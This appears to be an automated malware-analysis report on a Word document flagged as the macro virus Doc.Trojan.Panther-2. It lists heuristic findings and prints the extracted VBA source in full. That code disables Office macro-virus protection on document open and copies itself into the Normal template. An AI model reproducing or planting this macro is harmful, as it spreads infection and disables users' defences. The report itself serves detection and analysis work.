MALICIOUS
188
Risk Score
Heuristics 4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 45,568 bytes but its declared streams total only 11,850 bytes — 33,718 bytes (74%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1632 bytes |
SHA-256: 189686000163bd6f9c964b56ca626659311af960e213c7ebe08c74d9f5b6ed71 |
|||
|
Detection
ClamAV:
Doc.Trojan.Panther-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim code As String
If Left$(NormalTemplate.Name, 8) <> "Document" Then
Options.VirusProtection = False
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
code = .Lines(1, .CountOfLines)
ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
ReplaceTemplate code, "Active", "Document", "Normal", "Template"
ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString code
End With
End With
Options.SaveNormalPrompt = False
If InStr("NormalTemplate", "Document") > 0 Then
NormalTemplate.Save
End If
End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
Dim index As Long, pre As String, post As String, preLen As Long
pre = prepre + prepost
post = postpre + postpost
index = 1
preLen = Len(pre)
While InStr(index, target, pre) <> 0
index = InStr(index, target, pre)
target = Left(target, index - 1) + post + Mid$(target, index + preLen)
index = index + 1
Wend
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.